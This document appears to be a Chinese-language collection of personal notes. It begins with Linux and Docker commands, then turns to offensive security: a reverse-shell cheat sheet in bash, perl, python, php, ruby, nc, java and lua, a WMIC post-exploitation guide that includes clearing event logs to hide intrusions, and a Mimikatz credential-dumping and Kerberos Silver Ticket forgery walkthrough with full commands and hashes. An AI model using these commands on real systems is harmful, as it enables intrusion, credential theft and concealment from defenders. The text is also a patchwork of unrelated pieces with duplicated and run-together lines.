查看所有与Python命令 ls /usr/bin/python* -l
创建新命令python至python ln -s /usr/local/python27/bin/python2.7 /usr/bin/python
自改分辨率 xrandr -s 1280x800
查看端口被谁占用 sudo lsof -i:port
解除端口占用 sudo kill -9 pid
查看所有与Python命令 ls /usr/bin/python* -l
创建新命令python至python ln -s /usr/local/python27/bin/python2.7 /usr/bin/python
自改分辨率 xrandr -s 1280x800
查看端口被谁占用 sudo lsof -i:port
解除端口占用 sudo kill -9 pid
docker配置
docker gedit /etc/systemd/system/docker.service.d/http-proxy.conf
[Service]
#Environment="HTTP_PROXY=http://proxy.example.com:80/" Environment="NO_PROXY=localhost,127.0.0.0/8,docker-registry.somecorporation.com"
#Environment="HTTP_PROXY=http://192.168.111.10:8089/"
/etc/docker/daemon.json
{ "registry-mirrors": [ "https://docker.mirrors.ustc.edu.cn", "http://hub.mirror.c.163.com", "https://registry.docker-cn.com" ] }
删除镜像:docker rmi -f id
查找镜像IP:docker inspect id | grep IPAddress
瑞士军刀netcat,这只喵的名气不言而喻,不管是渗透还是取证,100KB的小身板却蕴含着巨大的能量,今天我们来简单研究下如何使用nc反弹shell。
先来个正向shell做下对比:
nc -lvvp 1988 -e /bin/bash nc Rhost 1988 //hacker
反向shell:
nc -e /bin/bash Lhost 1988nc -lvvp 1988 //hacker
看出为什么要用反弹shell了么,如果我们处于内网,我们可以借助frp进行端口代理,但是目标主机处于内网你就没法正向代理了,当然,如果你要做雷锋给他配个frp的话,是在下输了。
当然啦,如果目标是windows系统,/bin/bash换成cmd.exe绝对路径即可,当然这个cmd.exe可以是C:\Windows\System32\cmd.exe,亦可以是通过webshell上传的cmd.exe,实战的话后者更多一点。
然后还有一种更现实的情况,靶机不会给你提供nc的环境,你也不会那么轻易成功将nc上传至靶机,所以更多的情况需要你就地取材,网上有国外大佬整理了各种版本的shell写法,在此借鉴,并附上真·原文连接。
#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
#perl版本:perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");};'
#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'
#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;
exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
#nc版本:
nc -e /bin/sh 10.0.0.1 1234rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
#java版本
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()#lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"真·原文链接:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
以上内容均为靶机端配置,笔者语言广度不足没发给予一一验证了,但在这里我们简单复现下bash环境下的反弹。bash -i >& /dev/tcp/172.16.222.81/1988 0>&1

parrot
nc -lvvp 1988

反弹shell
因为编码问题字体可能不怎么好看,但是反弹shell的确成功了。
为什么要特意讲下bash环境下的反弹shell,因为我们常会见到一些远程命令执行的漏洞,如strus2漏洞、java反序列化漏洞等,此时我们权限较低,但的的确确具备命令执行的权限,便可以借助当前环境实现nc反弹shell,为进一步提权做准备。
在这篇文章中,我们将讨论如何在攻击的后渗透利用阶段使用WMIC(Windows Management InstrumentationCommand Line)。当攻击者在远程PC上拿到meterpreter会话之后,他们就可以枚举大量的系统信息,并利用WMI命令行工具来进行更深程度的操作。
首先,我们会介绍如何拿到远程PC的meterpreter会话。拿到会话之后,我们还会告诉大家如何提权至管理员权限。
WMIC命令行可以通过Windows CMD来访问,直接在meterpreter shell中输入“shell“即可。接下来,我们一起看一看WMIC命令以及相应的工作机制。
下面这个命令可以查看WMIC命令的全局选项,WMIC全局选项可以用来设置WMIC环境的各种属性,通过结合各种全局选项以及参数,我们就可以通过WMIC环境来管理整个系统了。
wmic /?
铜鼓WMIC命令的操作系统指令,我们可以枚举出大量关于目标系统的信息,包括主机名、域名、制造商以及设备型号等等。
我们还可以添加下列过滤器来获取更精准的扫描结果:
Roles:它可以给我们提供目标设备在整个网络系统中所扮演的角色,例如工作站、服务器或个人PC等等。
Manufacturer:它可以给我们提供目标系统的制造商和设备型号,因为某些特定制造商所生产的特定型号设备会存在特定的漏洞,因此我们可以利用这部分信息来寻找存在漏洞的设备。
UserName:它可以给我们返回系统的用户名,我们可以利用这部分信息来区分谁是管理员谁是普通用户。
[/format:list]:以列表格式输出数据并排列。
wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list
为了枚举出SID,我们需要用到WMIC的group选项:
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
如下图所示,我们已经查找到了账户名、域名、本地组成员状态、SID以及相应的状态:
WMIC命令的process选项可以帮助我们在目标用户的系统中创建各种进程。这种功能可以帮助我们创建后门,或占用大量目标系统的内存:
wmic process call create “[Process Name]”
wmic process call create “taskmgr.exe”
你可以从下图中看到,这个命令不仅会创建一个进程,而且还会赋予相应的进程ID,所以我们就可以根据我们的需要来修改进程信息了。
注意:如果进程创建了一个类似任务管理器和CMD这样的窗口,那么这条命令将会在目标系统中打开这个窗口,这样会引起目标用户的怀疑。
WMIC命令的process选项还可以帮我们修改目标系统中运行进程的优先级,这是一个非常有用的功能。降低某个进程的优先级可能会导致特定的应用程序发生崩溃,而提升某个进程的优先级甚至还会导致整个系统发生崩溃。
wmic process where name=”explorer.exe” call set priority 64
WMIC命令还可以帮我们终止目标系统正在运行的进程:
wmic process where name=”explorer.exe” call terminate
下面的命令可以枚举出整个系统中所有可执行文件的路径地址:
wmic process where “NOT ExecutablePath LIKE ‘%Windows%’” GET ExecutablePath
WMIC命令的fsdir选项可以提取目标系统中文件目录的基本信息,其中包括压缩方法、创建日期、文件大小、是否可读写、是否为系统文件、加密状态以及加密类型等等:
wmic fsdir where=”drive=’c:’ and filename=’test’” get /format:list’
WMIC命令的datafile选项可以获取目标系统中文件的基本信息,其中包括压缩方法、创建日期、文件大小、是否可读写、是否为系统文件、加密状态以及加密类型等等:
wmic datafile where=’[Path of File]’ get /format:list
wmic datafile where name=’c:\\windows\\system32\\demo\\demo.txt’ get /format:list
WMIC可以提取出所有重要系统文件的路径,例如temp目录和win目录等等:
wmic environment get Description, VariableValue
wmic product get name
获取到正在运行的服务列表之后,WMIC还可以提供服务的启动模式,例如“自动”、“手动”和“运行中”:
wmic service where (state=”running”) get caption, name, startmode
sysdrive选项可以枚举出驱动的名称、路径和服务类型等数据:
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list
os选项可以列举出目标系统的上一次启动时间、注册的用户数量、处理器数量、物理/虚拟内存信息和安装的操作系统类型等等:
wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpdate,NumberofProcesses, NumberofUsers, Organization, RegisteredUsers, Status/format:list
wmic baseboard, get Manufacturer, Product, SerialNumber, Version
wmic bios, get serialNumber
memcache选项可以获取到内存缓存名和块大小等信息:
wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status
memorychip选项可以获取到RAM的相关信息,例如序列号等等:
wmic memorychip get PartNumber, SerialNumber
我们可以根据onboarddevice选项返回的信息来判断目标系统到底是真实的主机操作系统,还是一台虚拟机(VMware或Virtual Box):
wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list
我们可以使用useraccount选项来锁定本地用户账号:
wmic useraccount where name=’demo’ set disabled=false
wmic useraccount where name=’demo’ rename hacker
我们还可以限制本地用户的密码修改操作:
wmic useraccount where name=’hacker’ set passwordchangeable=false
我们可以枚举出目标系统安装的反病毒产品信息,包括安装位置和版本:
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
WMIC命令的nteventlog选项还可以清除系统的日志记录,当你入侵了某个系统之后,这个命令可以帮助你掩盖攻击痕迹:
wmic nteventlog where filename='[logfilename]’ cleareventlog
wmic nteventlog where filename=’system’ cleareventlog
https://www.hackingarticles.in/post-exploitation-using-wmic-system-command/
白银票据(Silver Tickets)是伪造Kerberos票证授予服务(TGS)的票也称为服务票据。如下图所示,与域控制器没有AS-REQ 和 AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。

1.白银票据是一个有效的票据授予服务(TGS)Kerberos票据,因为Kerberos验证服务运行的每台服务器都对服务主体名称的服务帐户进行加密和签名。
2.黄金票据是伪造TGT并且有效的获得任何Kerberos服务,而白银票据是伪造TGS。这意味着白银票据仅限于特定服务器上的任何服务。
3.大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以完全伪造PAC
4.攻击者需要服务帐户密码哈希值
5.TGS是伪造的,所以没有和TGT通信,意味着DC从验证过。
6.任何事件日志都在目标服务器上。
为了创建或伪造白银票据,攻击者必须获得目标服务账号的密码hash值。如果目标服务正在使用中的帐户(如MS SQL)下运行,则需要服务帐户密码哈希以创建银票。使用Kerberoast(https://github.com/nidem/kerberoast)破解服务帐户密码是识别目标服务相关密码数据的一种有效防范。计算机主机服务也是最常见的服务,它是利用Windows文件共享的“cifs”服务。由于计算机本身托管此服务,因此创建白银票据所需的密码数据是关联的计算机帐户的密码哈希值。当计算机加入Active Directory时,会创建一个新的计算机帐户对象并将其添加到计算机中。密码和相关的散列哈希存储在拥有该帐户的计算机上,并且将NTLM密码散列存储在域的域控制器上的Active Directory数据库中。如果攻击者可以获得对计算机的管理权限或者能够以本地系统的身份运行代码,则攻击者可以使用Mimikatz从系统中转储AD计算机帐户密码哈希(NTLM密码哈希用于加密RC4 Kerberos门票):
Mimikatz “privilege::debug” “sekurlsa::logonpasswords” exit #需要管理员权限

/domain –完整的域名称,如:lab.adsecurity.org
/sid –域的SID,如:S-1-5-21-1473643419-774954089-2222329127
/user – 域用户名
/ groups(可选) - 用户所属的组RID
/ ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用,或者使用/ ptt立即将黄金票据插入到内存中以供使用
/ptt - 作为/ ticket的替代品,使用它来立即将伪造的票据插入到内存中以供使用。
/ id(可选) - 用户RID,Mimikatz默认值是500(默认管理员帐户RID)
/ startoffset(可选) - 票证可用时的起始偏移(如果使用此选项,通常设置为-10或0)Mimikatz默认值是0
/ endin(可选) - 票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为10小时
/ renewmax(可选) - 续订最长票据有效时间,Mimikatz默认值是10年,Active Directory默认Kerberos策略设置为最长为7天
/target –目标服务器的FQDN
FQDN:(Fully Qualified Domain Name)全限定域名:同时带有主机名和域名的名称。(通过符号“.”)
/service –运行在目标服务器上的kerberos服务,该服务主体名称类型如cifs,http,mssql等
/rc4 –服务的NTLM散列(计算机帐户或用户帐户)
域用户SID:S-1-5-21 <DOMAINID> -513
域管理员SID:S-1-5-21 <DOMAINID> -512
架构管理员SID:S-1-5-21 <DOMAINID> -518
企业管理员SID:S-1-5-21 <DOMAINID> -519
组策略创建所有者SID:S-1-5-21 <DOMAINID> -520
以下Mimikatz命令会在服务器adsmswin2k8r2.lab.adsecurity.org上为CIFS服务创建白银票据。为了成功创建Silver Ticket,需要从AD域转储中或在本地系统上运行Mimikatz来获获取adsmswin2k8r2.lab.adsecurity.org中AD计算机帐户密码哈希值。NTLM密码哈希与 rc4参数一起使用。服务SPN类型也需要在/ service参数中标识。目标计算机的FQDA需要在/ target参数中使用以及/ sid参数中的域SID。命令如下:
mimikatz “kerberos::golden /user:LukeSkywalker /id:1106 /domain:lab.adsecurity.org /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.lab.adsecurity.org /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit

| Service Type | Service Silver Tickets |
| WMI | HOST RPCSS |
PowerShell Remoting | HOST HTTP |
| WinRM | HOST HTTP |
| Scheduled Tasks | HOST |
| Windows File Share (CIFS) | CIFS |
LDAP operations including Mimikatz DCSync | LDAP |
| Windows Remote Server Administration Tools | RPCSS LDAP CIFS |
为“ cifs ”服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限。
注入CIFS Silver Ticket后,我们现在可以访问目标计算机上的任何共享,包括
c $共享,我们能够将文件拷贝到共享文件中。

创建银票以获得目标计算机上所涵盖的任何Windows服务的管理员权限。这包括修改和创建计划任务的权限。

利用HOST Silver Ticket,我们可以创建一个新的计划任务。

或者通过利用HOST Silver Ticket,我们可以修改存在的计划任务。


为“ http ”服务和“ wsman ”服务创建Silver Ticket,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限。


注入两张HTTP&WSMAN白银票据后,我们可以使用PowerShell远程(或WinRM的)反弹出目标系统shell。首先New-PSSession使用PowerShell创建到远程系统的会话的PowerShell cmdlet,然后Enter-PSSession打开远程shell。


为“ ldap ”服务创建Silver Ticket 以获得目标系统(包括Active Directory)上LDAP服务的管理权限。

利用LDAP Silver Ticket,我们可以远程访问LDAP服务来获得krbtgt的信息

注:lsadump::dcsync
向 DC 发起一个同步对象(可获取帐户的密码信息)的质询。需要的权限包括管理员组(Administrators),域管理员组( Domain Admins)或企业管理员组(Enterprise Admins)以及域控制器的计算机帐户,只读域控制器默认不允许读取用户密码数据。
为“ HOST ”服务和“ rpcss ”服务创建白银票据,以使用WMI在目标系统上远程执行命令。

注入这些白银票据之后,我们可以通过运行“klist”来确认Kerberos TGS票据在内存中注入白银票据后,我们可以通过“传票”来调用WMIC或Invoke-WmiMethod在目标系统上运行命令。

Invoke-WmiMethod win32_process -ComputerName $ Computer -Credential $ Creds -name create -argumentlist“$ RunCommand”

首先需要获得如下信息:
/domain
/sid
/target:目标服务器的域名全称,此处为域控的全称
/service:目标服务器上面的kerberos服务,此处为cifs
/rc4:计算机账户的NTLM hash,域控主机的计算机账户
/user:要伪造的用户名,此处可用silver测试
在域控上执行如下命令来获取域控主机的本地管理员账户hash
mimikatz log "sekurlsa::logonpasswords"
如图:

注:
此处要找到计算机账户,也就是Username : WIN-8VVLRPIAJB0$的NTLM hash,如果是其他账户,那么会失败,也就是需要共享服务账号。
整理以上获得的信息如下:
/domain:test.local
/sid:S-1-5-21-4155807533-921486164-2767329826
/target:WIN-8VVLRPIAJB0.test.local
/service:cifs
/rc4:d5304f9ea69523479560ca4ebb5a2155
/user:silver
使用mimikatz执行如下命令导入Silver Ticket
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
如图,成功导入,此时可以成功访问域控上的文件共享
